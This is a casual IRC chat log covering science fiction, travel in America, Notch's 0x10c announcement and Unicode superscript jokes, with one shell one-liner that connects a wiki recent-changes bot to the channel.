22:38:43 <Phantom_Hoover> "Wouldn't it be cool if..." can be good, sometimes, but invariably scrimp on the non-central science involved (cf. Tau Zero), and "I WILL WRITE HARD SCI-FI" invariably has a terrible plot and a boring setting.?
22:39:06 <elliott> "Wouldn't it be cool if..." can be good, sometimes, but invariably scrimp on the non-central science involved (cf. Tau Zero), and "I WILL WRITE HARD SCI-FI" invariably has a terrible plot and a boring setting.?!
22:39:13 <RocketJSquirrel> "Wouldn't it be cool if..." can be good, sometimes, but invariably scrimp on the non-central science involved (cf. Tau Zero), and "I WILL WRITE HARD SCI-FI" invariably has a terrible plot and a boring setting.?!‽
22:39:20 <elliott> (Also, I thought Tau Zero was good? I'ven't read it.)
22:39:23 <elliott> `quote tau zero
22:39:27 <HackEgo> 587) <Phantom_Hoover> You mean it'd be Tau Zero but without the spaceship?
22:39:27 <RocketJSquirrel> 'twas OK.
22:39:32 <ais523> things like "real-world science exists and is not contradicted, but we also have telepathy and we can do ftl travel using hyperspace"
22:39:40 <RocketJSquirrel> It got a bit doofy in the end.
22:39:47 <RocketJSquirrel> The ending was very cakey.
22:39:54 <RocketJSquirrel> It started all hard sci-fi and ended all My Little Pony.
22:40:06 <elliott> ais523: Pretty sure hyperspace requires a huge amount of glue code to be consistent with existing physics...
22:40:10 <RocketJSquirrel> (Which has self-consistent time travel, so y'know)
22:40:32 <ais523> elliott: well, it's a plot point that nobody actually understands it, the first hyperspace engine was created by an insane robot
22:40:38 <Phantom_Hoover> <elliott> (Also, I thought Tau Zero was good? I'ven't read it.)
22:40:41 <elliott> Ohh, right, Tau Zero has a terrible ending.
22:41:01 <elliott> (I thought it just did took obvious super-depressing route.)
22:41:04 <elliott> (Which would be better.)
22:41:08 <elliott> *it just took the obvious
22:41:14 <Phantom_Hoover> It is; I just doubt very much that the Leonora was feasible at the time.
22:41:33 <Phantom_Hoover> I don't remember when Bussard ramjets were discredited.
22:41:48 <elliott> "The universe collapses into a cosmic egg (which the starship survives because there is still enough uncondensed hydrogen for maneuvering, outside the monobloc)"
22:41:55 <elliott> I like the part where they survive a Big Bang.
22:42:18 <elliott> Phantom_Hoover: http://en.wikipedia.org/wiki/Bussard_ramjet suggests they're not totally.
22:42:23 <pikhq> That sounds positively Adams-like.
22:42:39 <pikhq> Phantom_Hoover: They're just not as good as they were thought to be.
22:42:47 <elliott> http://en.wikipedia.org/wiki/File:TauZero(Anderson).jpg I am not exactly convinced this cover means something.
22:42:56 <elliott> I like it, though!
22:43:17 <pikhq> (courtesy of the interstellar medium being less dense than we thought)
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22:44:40 <elliott> Phantom_Hoover: also should I watch Primer.
22:44:44 <Phantom_Hoover> Also Tau Zero has a tonne of handwaving with "magnetohydrodynamic fields" which are real but I suspect don't do half the things they're portrayed to.
22:44:47 <elliott> I already more-or-less know the plot.
22:44:56 <Phantom_Hoover> elliott, Primer has a bad plot or something apparently?
22:45:54 <elliott> Phantom_Hoover: Are you sure you didn't just get that from the reddit post?
22:46:20 <Phantom_Hoover> Yes, I did.
22:46:35 <Phantom_Hoover> I don't already more-or-less know the plot.
22:53:27 <RocketJSquirrel> Now, let us analyze the position of My Little Pony on the scale of "hard" or "soft" AI, and see which problems can be rectified to harden it.
22:53:53 <elliott> /ignore RocketJSquirrel*!*@* all
22:53:56 <RocketJSquirrel> ^^
22:54:52 <RocketJSquirrel> Wow, I said AI.
22:54:57 <RocketJSquirrel> When I meant sci-fi.
22:54:59 <RocketJSquirrel> I am el retard.
22:55:45 <RocketJSquirrel> Problem #1: Pegasi are a highly unlikely modification to the pony bauplan (and we haven't even mentioned unicorns yet!)
22:56:03 <elliott> I was under the impression you had a channel for this.
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22:57:02 <RocketJSquirrel> Indeed I do, but I'm not /harassing/ people in there, so it's no fun.
22:57:51 <Phantom_Hoover> OK also American food is so ridiculously huge.
22:57:56 <Patashu> my little pony is the hardest sci-fi
22:58:15 <RocketJSquirrel> Phantom_Hoover: It's true.
22:58:21 <Phantom_Hoover> Like
22:58:44 <RocketJSquirrel> Phantom_Hoover: I've become accustomed to buying dinner to go and dividing it into two meals.
22:58:47 <Phantom_Hoover> I have a very strong compulsion to finish meals and I don't think I've finished either of the ones I've had here.
22:58:55 <RocketJSquirrel> Yeah, don't. It's not a good idea.
22:59:16 <elliott> Phantom_Hoover: Have you SUPERSISED any yet?
22:59:20 <RocketJSquirrel> I have a friend who's "adapted" by eating only one meal per day.
22:59:23 <elliott> OK, "supersised" looks ridiculous.
22:59:26 <elliott> *SUPERSIZED
22:59:32 <Phantom_Hoover> http://i.imgur.com/HJpSU.jpg
22:59:44 <RocketJSquirrel> elliott: What sise drink do you prefer?
22:59:48 <Phantom_Hoover> I'm told my grandfather once tried to make a scale model of this.
23:00:01 <Phantom_Hoover> RocketJSquirrel, non-comically-oversised.
23:00:12 <elliott> RocketJSquirrel: It took me a minute to realise that was actually incorrect >_>
23:01:07 <elliott> Phantom_Hoover: Doesn't it... upset you a bit to be on such a gigantic island?
23:01:08 <RocketJSquirrel> elliott: Naw, supersising something is making it superse.
23:01:20 <elliott> Phantom_Hoover: I mean, America is pretty terrifying!
23:01:21 <Phantom_Hoover> elliott, um, continent.
23:01:23 <RocketJSquirrel> e.g. this is a very superse meal from McDonalds, I think I'll die of a stroke now.
23:01:32 <elliott> Phantom_Hoover: Um what is the difference except SISE
23:01:38 <elliott> Continent am just very big island.
23:01:45 <Phantom_Hoover> Also they make up for it by thinking buildings made a century ago are old.
23:01:48 <Phantom_Hoover> D'awwww.
23:02:12 <RocketJSquirrel> Phantom_Hoover: But we do by having air conditioning in every building that actually gets lived in, thanks to demolishing any building over a century old :)
23:02:45 <Phantom_Hoover> Joke's on you, the UK climate is so stable that air conditioning is rarely needed.
23:02:59 <RocketJSquirrel> Touché.
23:03:16 <elliott> Phantom_Hoover: what am the weather like there.
23:03:37 -!- augur has joined.
23:03:46 <Phantom_Hoover> Hot, but not any more than Edinburgh a little further into summer.
23:04:20 <elliott> more
23:04:21 <elliott> like
23:04:22 <elliott> EdinBRRRRRRR
23:04:44 <RocketJSquirrel> It's nice to live in a place where the weather is always miserable.
23:04:49 <RocketJSquirrel> You don't have to wonder if you'll enjoy the weather.
23:05:08 <Phantom_Hoover> It stays hot for longer, though; the evenings aren't as pronounced.
23:05:08 <Phantom_Hoover> (Fun fact: in midwinter, the sun at midday in Edinburgh is 8° from the horizon.)
23:05:30 -!- augur has quit (Remote host closed the connection).
23:05:41 <elliott> Phantom_Hoover: That fact isn't... fun?
23:06:54 -!- augur has joined.
23:07:14 <elliott> Phantom_Hoover: What time is it in... "America".
23:07:32 <Phantom_Hoover> RocketJSquirrel, I prefer to say that the weather is always comfortable, because it... is.
23:07:53 <elliott> (Phantom_Hoover constantly wears jumpers.)
23:07:55 <elliott> (Or so I hear.)
23:08:02 <RocketJSquirrel> Awesome.
23:08:24 <elliott> @time Phantom_Hoover =
23:08:25 <lambdabot> Local time for Phantom_Hoover is Tue Apr 3 23:04:55
23:08:29 <elliott> @time
23:08:30 <lambdabot> Local time for elliott is Wed Apr 4 00:08:25
23:08:30 <lambdabot> Local time for elliott is Wed Apr 4 00:08:25
23:08:30 <lambdabot> Local time for elliott is Wed Apr 4 00:08:25
23:08:33 <elliott> ...what
23:08:42 <Phantom_Hoover> Yes, so even if it gets hot I can take it off and walking is still comfortable (although as is readily apparent from going through America for any length of time, you can't walk anywhere there anyway).
23:08:44 <elliott> Phantom_Hoover: Dude, your time is wrong even for the other place you're in.
23:08:51 <elliott> @time
23:08:52 <lambdabot> Local time for elliott is Wed Apr 4 00:08:47
23:08:57 <elliott> Well that was odd.
23:09:02 <Phantom_Hoover> Huh, the clock drift is only 5 minutes?
23:09:13 <elliott> Dude.
23:09:17 <Phantom_Hoover> 3.
23:09:18 <elliott> It's an hour and 5 minutes.
23:09:28 <Phantom_Hoover> Modulo BST.
23:09:30 <elliott> 5, 3, whatever.
23:09:48 <elliott> 19:09. Is it really only 19:09 there Phantom_Hoover? It's night time!
23:09:58 <elliott> (I am honestly not faking my disbelief, countries are weird and timezones are weird.)
23:10:14 <Phantom_Hoover> Yes.
23:11:16 <Phantom_Hoover> All the buildings here are so sparse, too.
23:11:27 <elliott> Phantom_Hoover: Are the trains really as bad as they say?
23:11:48 <Phantom_Hoover> I... don't think they have trains in America for commuter use.
23:11:51 <Phantom_Hoover> In effect.
23:11:57 <shachaf> @time elliott
23:11:57 <lambdabot> Local time for elliott is Wed Apr 4 00:11:52
23:12:19 <Phantom_Hoover> Although dude, who uses trains in the UK except for long-range travel through the UK?
23:12:28 <elliott> Everyone?
23:12:35 <shachaf> Phantom_Hoover: What about all those trains in the US?
23:12:38 <elliott> I mean, we don't have a car.
23:12:38 <shachaf> Like Caltrain.
23:12:41 <Phantom_Hoover> (Yesyesyes Gregor, I know long-range in the UK is nonexistent in the US.)
23:12:42 <shachaf> That's a train, right?
23:13:03 <shachaf> elliott: "we" being "the UK"?
23:13:08 <elliott> Phantom_Hoover: Anyway, what about ``am'' ''trek''?
23:13:11 <elliott> shachaf: Yes.
23:13:30 <Phantom_Hoover> I don't know, I'd just heard they aren't used much.
23:13:57 <shachaf> kmc is missing out.
23:14:02 <shachaf> Trains in #esoteric!
23:14:05 <Phantom_Hoover> But um I guess you must have completely different travel needs to me.
23:14:21 * RocketJSquirrel reappears.
23:14:24 <RocketJSquirrel> Wots all this then?
23:14:34 <RocketJSquirrel> Some cities have commuter trains, most don't.
23:14:36 <RocketJSquirrel> Portland does :)
23:14:36 <elliott> Phantom_Hoover: I'm not saying I use trains in place of walking?
23:14:44 <Phantom_Hoover> The trips to Ireland more or less require taking a car over a ferry.
23:14:46 <RocketJSquirrel> Long distance train travel is pretty shitty.
23:14:56 <elliott> Phantom_Hoover: But, I mean, trains are way nicer than buses.
23:15:01 <elliott> (For longer distances.)
23:15:01 <shachaf> Speaking of ferries, WA has ferries.
23:15:05 <elliott> (But not long distances, just longer.)
23:15:15 <Phantom_Hoover> elliott, yeah, hence long-range UK travel.
23:15:16 <elliott> Phantom_Hoover: And yes but who goes to Ireland?
23:15:21 <Phantom_Hoover> i.e. travel between cities.
23:15:25 <elliott> And, mm... not really long-range.
23:15:35 <elliott> If I wanted to go to Newcastle, the nearest city, I'd use a trainular device.
23:15:55 <Phantom_Hoover> Medium-to-long, then.
23:16:04 <elliott> That's 22.6 miles, apparently.
23:17:12 <elliott> Phantom_Hoover: The part of the US you're in looks boring.
23:17:36 <Phantom_Hoover> I'm going to Annapolis later? It has that crazy bridge that was on Cracked a while ago.
23:17:53 <elliott> I like how Wyoming is rectangular.
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23:17:57 <elliott> Way to be creative.
23:18:17 -!- Frooxius has joined.
23:18:30 <Phantom_Hoover> Oh, no it doesn't.
23:18:53 <elliott> RocketJSquirrel: What's the best US state?
23:19:54 <elliott> Phantom_Hoover: Whoa, what the fuck? I didn't know the Americas joined up like *that*.
23:20:03 <elliott> My understanding of geography is... woefully poor.
23:20:14 <elliott> Like, Panama is all sideways and shit.
23:20:16 <Phantom_Hoover> You mean Panama?
23:20:17 <Phantom_Hoover> Yeah.
23:20:29 <elliott> I thought they were more like, above-below.
23:20:34 <elliott> But no!
23:20:58 <elliott> North America is a really ugly shape, mind you.
23:21:13 <elliott> Esp. Canada.
23:22:01 <RocketJSquirrel> elliott: OREGON 8-D
23:22:03 <RocketJSquirrel> YAAAAAAAAAY OREGON
23:22:30 <Phantom_Hoover> why would you name a state after a spice
23:22:35 <Phantom_Hoover> *herb
23:22:41 <Phantom_Hoover> (THAT'S HERB WITH AN H YOU IDIOTS)
23:22:48 <elliott> erb
23:22:52 <elliott> Oregon's pretty, isn't it? I don't really know.
23:22:53 <kmc> hi shachaf
23:23:04 <kmc> UK has tons of commuter trains
23:23:08 <kmc> and several major transit systems
23:23:16 <kmc> so that's "who uses trains in the UK except for long-range travel"
23:23:24 <elliott> You realise Phantom_Hoover is Scottish, right?
23:23:32 <Phantom_Hoover> Edinburgh has two train stations.
23:23:33 <kmc> no
23:23:47 <Phantom_Hoover> There are the trams but... the less said about the trams, the better.
23:23:49 <kmc> also major US cities do have commuter rail networks
23:24:37 <kmc> NYC, Chicago, Boston, Philly, LA, SF, Baltimore/DC, Miami, etc.
23:24:45 <kmc> in roughly decreasing order of ridership
23:24:51 <RocketJSquirrel> <elliott> Oregon's pretty, isn't it? I don't really know. // The parts of Oregon anybody knows about are lush and green.
23:24:58 <elliott> Phantom_Hoover is in Penicillin.
23:25:07 <kmc> they tend to be shitty compared to European or Asian systems, but they do run and lots of people us them
23:25:07 <RocketJSquirrel> The vast majority is just barely on the tundra side of being called a "desert"
23:25:48 <elliott> I get the feeling kmc Knows About Trains.
23:25:53 <kmc> "About one in every three users of mass transit in the United States and two-thirds of the nation's rail riders live in New York and its suburbs."
23:26:06 <Phantom_Hoover> That's one of the Weird Things in America, the scrubland is pretty different.
23:26:15 <elliott> Moer like New Reallyboringstate.
23:26:33 <kmc> burn
23:26:39 <Phantom_Hoover> There's more bare soil, for one thing.
23:26:41 <elliott> *More. That was unintentional. :/
23:27:09 <Phantom_Hoover> http://0x10c.com/
23:27:11 <Phantom_Hoover> Oh joy.
23:27:38 <Phantom_Hoover> The disparate space sim enthusiasts are going to be divided further by a game made by *Notch*.
23:28:11 <elliott> Phantom_Hoover: "Seamlessly landing on planets." Sorry I am SOLD.
23:28:19 <Phantom_Hoover> Which will inevitably be a disappointment, but may get far enough developed that it sucks interest into Notch's shitty MMO design.
23:28:39 <Phantom_Hoover> elliott, Infinity, for god's sake.
23:28:46 <elliott> Phantom_Hoover: Yes exactly.
23:28:50 <elliott> Phantom_Hoover: That game isn't ever going to exist.
23:28:55 <elliott> This one looks like it might.
23:29:06 <Phantom_Hoover> Yes. It'll also be awfully executed.
23:29:35 <shachaf> elliott: I've been to Oregon!
23:29:43 <Phantom_Hoover> Notch's personality cult will see that no constructive criticism can be made and it'll be a technical shambles (we've all seen what he thinks constitutes procedural generation, for one thing).
23:29:50 <shachaf> I don't recommend Medford, OR.
23:29:59 <shachaf> If you're going to visit Oregon, don't go to Medford.
23:30:29 <elliott> Phantom_Hoover: Oh pls.
23:30:36 <Phantom_Hoover> Also I have a suspicion this'll be an EVE-style "right click to fight ship" deal.
23:30:55 <Phantom_Hoover> It might not be, though.
23:30:58 <Phantom_Hoover> elliott, um?
23:31:03 <Phantom_Hoover> MC's terrain gen isn't good.
23:31:20 <elliott> Phantom_Hoover: I don't think Notch is inherently incompetent, he just mismanaged Minecraft.
23:31:27 <Phantom_Hoover> It was decent up to 1.7, and then it was ruined.
23:31:37 <shachaf> RUINED!
23:31:40 <shachaf> In fact, I went from WA to CA through OR.
23:31:42 <elliott> Phantom_Hoover: Yes, and who wrote the decent one in the first place?
23:31:42 <Phantom_Hoover> shachaf, well yes.
23:31:57 <Phantom_Hoover> elliott, sure, but planetary terrain gen is more demanding than MC's.
23:32:13 <elliott> Phantom_Hoover: it's also not constrained to 1x1x1 m blocks.
23:32:49 <Phantom_Hoover> And I'm not saying he's incompetent, I just don't think he's a good maker of games; MC's great success is its core idea, and not a great deal more.
23:33:48 <kmc> is there anything new about that core idea/
23:33:50 <elliott> I'd like to think he's learned something. The "Game Features" and "The Generator and the Computer" are all we have to go on, and they make me thoroughly intrigued, so I'm OK with giving him the benefit of the doubt.
23:34:29 <Phantom_Hoover> Game features aren't anything new.
23:34:32 <elliott> kmc: Can we just skip to the part where we recognise that basically every idea in existence is heavily derivative in some way, and that the synthesis and tweaking of existing ideas with a different vision can produce a clearly-derivative idea that is still new and worthwhile in its own right?
23:34:47 <elliott> Phantom_Hoover: So?
23:35:15 <Phantom_Hoover> So I'm not sure how much innovation can carry it?
23:35:17 <elliott> Phantom_Hoover: And I don't think there's been a space sim that lets you write a program to fully automate your ship, at least not in-game.
23:35:44 <Phantom_Hoover> Probably because it's incredibly niche and entertaining to a very small number of people.
23:35:59 <Phantom_Hoover> At least when taken to the level of nonabstraction he has.
23:36:14 <elliott> Phantom_Hoover: Sorry, I'll revoke my intrigue in the name of populism.
23:36:18 <elliott> shachaf: Can we force O'Reilly to take RWH out of print?
23:37:05 <elliott> "no matter how high the power (c) is to 10 multiplied by 0 would be 0. so 0x10c would imply, end of universe? just a thought. #0x10c"
23:37:37 <shachaf> elliott: What's wrong with RWH?
23:37:44 <shachaf> elliott: I think that's one of those trick sentences.
23:37:49 <Phantom_Hoover> elliott, well there are programming games aplenty; how many have you enjoyed?
23:38:19 <elliott> Phantom_Hoover: "Programming game" is a disingenuous comparison; it's clear that there's a spectrum of automation you can choose, and I doubt anyone will automate their entire ship for anything other than kicks.
23:38:27 <elliott> (Anyway, you never played BF Joust.)
23:38:37 <elliott> shachaf: It's hideously out of date, rubbish at teaching the basics, and all the code is ugly.
23:38:39 <Phantom_Hoover> Yes, but I mean what *you've* enjoyed.
23:38:51 <elliott> Phantom_Hoover: Eh?
23:39:00 <Phantom_Hoover> You said that it intrigued you.
23:40:01 <kmc> elliott, agree, when i say "anything new" i'm referring to precisely that "tweaking of existing ideas" and "different vision"
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23:40:46 <Phantom_Hoover> kmc, how many other resource-gathering construction sandboxes were there before MC?
23:40:54 <kmc> i have no idea
23:42:20 <elliott> kmc: Well, MC is hardly Infiniminer.
23:42:52 <elliott> A cube world isn't a new idea, and nor is a goal-less sandbox game, but Minecraft combined that fully-destructable, procedural block mining terrain with sandbox goals and the focus on creation.
23:43:56 <elliott> There's also the sparseness that it had in the early days that made it very much about isolation, at least in single-player.
23:44:15 <elliott> Unfortunately it went downhill and turned into a really bad RPG.
23:45:07 <Phantom_Hoover> But yeah, I don't really think Notch has the ability to make the game he describes.
23:45:26 <Phantom_Hoover> MC kind of just rolled together with some basic features, after all.
23:45:43 <Phantom_Hoover> Once he started on long-term goals it turned into a really bad RPG.
23:47:47 <elliott> Phantom_Hoover: Yes, but that was more a problem of vision than anything; he seems to have always intended it to turn into the kind of RPG it did, and the sort of quasi-existential-horror vibe it had going turned out to be an artifact of the development process.
23:47:58 <elliott> But here, the vision seems sound, so that risk isn't really there.
23:48:23 <elliott> The only question is technical ability, and I'd like to think that (a) he's learned enough (Minecraft did get less buggy as it went on, after all), and (b) he has enough competent people in his company to mitigate it.
23:50:29 <Phantom_Hoover> But it's not just technical ability.
23:50:54 <Phantom_Hoover> He needs to be able to weave that list of individual cool things into a coherent game, not just implement each in a vacuum.
23:51:21 <elliott> You seem to be mistaking "benefit of the doubt" for "unwavering support". I'm hardly going to pass judgement before it comes out.
23:51:39 <Phantom_Hoover> I know, I'm trying to apply what we know about MC's development.
23:52:06 <Phantom_Hoover> It had plenty of half-implemented, disconnected elements.
23:52:32 <Phantom_Hoover> Wolves, powered minecarts, the Nether...
23:52:57 <elliott> Also, I think the technical challenge is lessened by the fact that it's obviously going for an at least pseudo-retro style aesthetic, given that the logo is rendered by the game's engine and that 0 has very obvious edges.
23:53:31 <elliott> Oh, I guess "Also, think 1980's." is a more direct affirmation of that.
23:53:45 <elliott> (Said to C418.)
23:54:52 <Phantom_Hoover> Pseudo-retro means lazy in Notchland.
23:55:22 <Phantom_Hoover> MC's textures might be low-res, but they're ugly too.
23:55:30 <elliott> Your abject negativity is absolutely bizarre. I realise Minecraft ended up sucking, but you could twist literally any detail about this game into naysaying.
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23:57:06 <Phantom_Hoover> I quite like space games, and of late I've been increasingly frustrated at the number of good projects which will never succeed due to an abject lack of coordination.
23:57:14 <Phantom_Hoover> Seeing this has not improved my mood.
23:57:52 <elliott> You are the only person who can see that a game with a non-terrible vision in an area of your interest is being developed and have it manage to dampen your mood.
23:57:58 <elliott> If it fails, that doesn't affect you at all.
00:01:12 <shachaf> apt-comparison ghc gcc
00:01:39 <lambdabot> LT
00:02:00 <elliott> [[
00:02:01 <elliott> reddit.com 0x10c: this reddit has been banned
00:02:01 <elliott> »ehird (1834 · 7323)||mod messages|preferences||logout
00:02:01 <elliott> this reddit has been banned
00:02:01 <elliott> most likely this was done automatically by our spam filtering program. the program is still learning, and may even have some bugs, so if you feel the ban was a mistake, please submit a link to our request a reddit listing and be sure to include the exact name of the reddit.
00:02:03 <elliott> ]]
00:02:05 <elliott> I COULD HAVE BEEN SO FAMOUS
00:02:39 <elliott> RocketJSquirrel: What's the second-best US state?
00:03:00 <shachaf> elliott: Stop abusing the bot.
00:03:02 <shachaf> Bot abuser.
00:04:17 <elliott> shachaf: Why does everybody hate point-free?
00:04:18 <RocketJSquirrel> elliott: Washington
00:04:28 -!- augur has joined.
00:04:29 <shachaf> elliott: Because it's the devil?
00:04:36 <elliott> RocketJSquirrel: Third-best???
00:04:41 <RocketJSquirrel> elliott: Canada.
00:05:03 -!- augur has quit (Remote host closed the connection).
00:05:33 <elliott> Ah.
00:09:46 -!- cheater has quit (Ping timeout: 246 seconds).
00:19:38 <elliott> RocketJSquirrel: "Tryon Creek is a 4.85-mile (7.81 km) tributary of the Willamette River in the U.S. state of Oregon."
00:19:40 <elliott> Is this your doing?
00:20:14 <RocketJSquirrel> ... no? I assume there's a joke or pun or something here, but I don't get it.
00:20:31 <elliott> http://en.wikipedia.org/wiki/Main_Page
00:21:00 <RocketJSquirrel> Oh, the fact that it's on the main page? Why would I have such authority?
00:21:20 <elliott> It was a joke, because you had just been extolling the virtues of Oregon
00:21:23 <elliott> *Oregon.
00:21:35 -!- augur has joined.
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00:24:16 <elliott> "However, on Twitter today, Notch announced that he’s registered the domain for the game, to be titled 0x10c. (Where that ‘c’ is in superscript.)"
00:24:34 <elliott> Phantom_Hoover: I think you have to thank Notch for demonstrating that the world's journalists are too incompetent to figure out how to use superscripts.
00:24:51 <shachaf> 0x10ĉ
00:24:54 <shachaf> Right?
00:25:00 <elliott> Right.
00:25:34 <shachaf> 0x1℃
00:25:43 <shachaf> HELP
00:25:51 <monqy> hi
00:26:01 <shachaf> hi monqy
00:27:12 -!- cheater has joined.
00:27:40 <elliott> RocketJSquirrel: You get to debug my IRC bot!
00:27:59 <shachaf> elliott: I wrote an IRC bot today!
00:28:02 <elliott> (echo "PASS $(cat esolang-bot-password)"; echo 'NICK esolang'; echo 'USER esolang 8 * :Esolang recent changes bot, see http://esolangs.org/'; echo 'JOIN #esoteric'; echo 'PRIVMSG #esoteric :a privmsg'; while true; do nc -u -l -p 8147 | sed 's/^/PRIVMSG #esoteric :/'; echo; echo; done) | cat -v | nc irc.freenode.net 6667
00:28:05 <elliott> RocketJSquirrel: WHY DOESN'T THIS WORK
00:29:14 <RocketJSquirrel> Because it's not multibot.
00:30:13 <monqy> shachaf: is it a good bot
00:30:23 <shachaf> monqy: It's an evil bot. :-(
00:30:30 <monqy> :(
00:30:58 <shachaf> "Me Bill"
00:31:00 <shachaf> -- Bill
00:32:07 <shachaf> http://www.youtube.com/watch?v=14xcsz43Kuw
00:32:36 <elliott> RocketJSquirrel: Multibot am shit
00:32:39 <shachaf> Apparently "Bil".
00:32:40 <shachaf> "Me Bil"
00:32:42 <shachaf> -- Bil
00:33:12 <elliott> shachaf: Man, I don't even remember this scene.
00:33:22 <elliott> Actually, I don't even remember completing the Neverhood. Maybe I didn't.
00:33:35 <shachaf> elliott: What!
00:33:41 <shachaf> It's the best scene.
00:36:26 <shachaf> elliott: "deploy bear retrieval unit"
00:36:28 <shachaf> :-(
00:36:57 <RocketJSquirrel> Damn, the only two superscript letters in Unicode are 'i' and 'n'.
00:37:50 <monqy> still you can make many exciting superscript words
00:39:08 <shachaf> Like ⁱⁿ and ⁱⁿⁿ
00:39:15 <shachaf> Like ⁱⁿ and ⁱⁿⁿ
00:39:17 <shachaf> Er.
00:39:19 <shachaf> And ⁱⁿⁿⁿ
00:39:24 <monqy>
00:39:34 -!- augur has joined.
00:39:38 <shachaf> ⁱ am exciting
00:39:56 <shachaf> ⁿⁱⁿⁱ
00:40:07 <shachaf> moⁿqy
00:40:13 <shachaf> \ⁿ/
00:40:15 <elliott> shachaf: I watched that cutscene and now I have a sad.
00:40:18 <monqy> moⁿqⁱ
00:40:20 <elliott> It's your sad. I blame the sad on you. :'(
00:40:37 <monqy> ⁿoⁿqⁱ
00:40:40 <shachaf> elliott: :-(
00:41:06 <shachaf> elliott: The only solution is more sad videos.
00:41:49 <elliott> @time
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00:41:53 <elliott> Phantom_Hoover: What time is it in Canada?
00:42:41 <shachaf> ⁱⁿ Canada